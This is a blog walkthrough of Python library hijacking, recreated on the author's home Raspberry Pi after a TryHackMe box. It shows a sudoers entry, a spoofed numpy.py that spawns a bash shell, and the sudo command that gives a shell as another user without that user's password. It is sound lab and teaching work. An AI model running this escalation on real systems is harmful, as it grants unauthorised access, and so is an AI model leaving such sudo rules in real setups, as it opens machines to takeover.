In this blog post, I’ll show you how recreated a Python library hijacking vulnerability on my home network.
The Wonderland box on TryHackMe was the inspiration for exploring this kind of vulnerability.
In my previous Wonderland walkthrough blog post, I highlighted an example of exploiting the ‘
random’ module to switch users without knowing their password.
In this post, I’ll guide you through the setup and execution of the exploit. You can also watch the accompanying video tutorial here:
This is part of the hacking security series on multiple TryHackMe challenges:
- TryHackMe Walkthrough – Wonderland
- Python Library Hijacking – A Simple Demonstration on NumPy
- TryHackMe Capture The Flag (CTF) Walkthrough – Lookingglass
What is Python Library Hijacking?
When a user has permission to run a file as another user it is possible to create a spoof file that Python will load instead of the originally intended module or library. The necessary conditions for Python library hijacking are:
- The user must have sudo permissions to run a Python file
.pyas another user
- The Python path must be set to look first in the folder where the spoof file is stored
In order to re-create this vulnerability, I had to learn how to set up the above conditions for the exploit.
On my home network, I have a Raspberry Pi 3b running DietPi operating system. Originally I set this up to run Pi-hole to filter ads out from my home network.
In order to set up the permissions to run a file as another user I edited the sudoers file with
Visudo is a special editor specifically for editing the sudoers file. It only allows one user to edit the file at a time, and also checks user edits for correct syntax. I created a file called ‘
checkmypermissions.py’ and granted sudo permissions to
vulnerableuser to run it as user ben.
To do this I used the command ‘
sudo visudo’ to edit sudoers file, and then I added the second line for vulnerable user:
# User privilege specification root ALL=(ALL:ALL) ALL vulnerableuser ALL=(ben:1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py
The nice thing about
visudo is that it checks your formatting to make sure that there are not any errors, and it will even suggest changes to help you format the permissions correctly.
This functionality helped me save time getting the correct spacing and punctuation on the new sudoers line.
Running the Exploit
Once the permissions were set up I ssh’d into
vulnerableuser@<raspberry pi IP>. Running the ‘
sudo -l’ command showed me the granular sudo permissions.
The line above
(ben : 1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py shows that as
vulnerableuser I can execute the
checkmypermissions.py file as the user Ben.
All that is left to do is to check the Python PATH to make sure that it checks first in the current directory, and then create a python file named
numpy.py with code to spawn a shell. One way to check the Python PATH is:
import sys sys.path
In the example below, we can see that the python PATH is already set to search in the current working directory (
Next we create the
numpy.py file to spawn a shell.
import os os.system("/bin/bash")
It is important to first set up execute permissions on the spoofed
chmod +x numpy.py
Now we can carry out the python library hijack and spawn a shell as user ben without knowing their password by running the following command:
sudo -u ben /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py
I learned that Visudo is a special editor within Linux to change the sudoers file
It helps check formatting to avoid any errors or crashes from poorly written lines. The sudoers file allows the root user to granularize user permissions with the sudoers file on Linux.
Granting run as another user file permissions can expose a machine to library hijacking vulnerabilities.
sudo -l can help expose special user file permissions when enumerating for attack vectors to execute privilege escalation.
I found that it is helpful to compile a custom shortlist of Python and bash commands new to me for each project. I borrowed this strategy from my experience with language learning.
Over the years, I’ve improved my Mandarin by taking notes on new vocabulary words and grammar patterns. When working on a new topic area I would always create my own custom grammar and vocabulary lists for reference.
I’ve found that the simple act of focusing on recording a list helps to cement my learning and creates a nice reference for later use.
👉 Recommended Tutorial: Hacking Network File System (NFS) – A TryHackMe Walkthrough
I am a freelance ethical hacker/penetration tester. I have extensive experience in penetration testing and vulnerability assessments on web apps and servers. I am also fluent in Mandarin and have 15 years of experience as an edTech integration specialist, curriculum designer, and foreign language teacher. Here’s my personal website.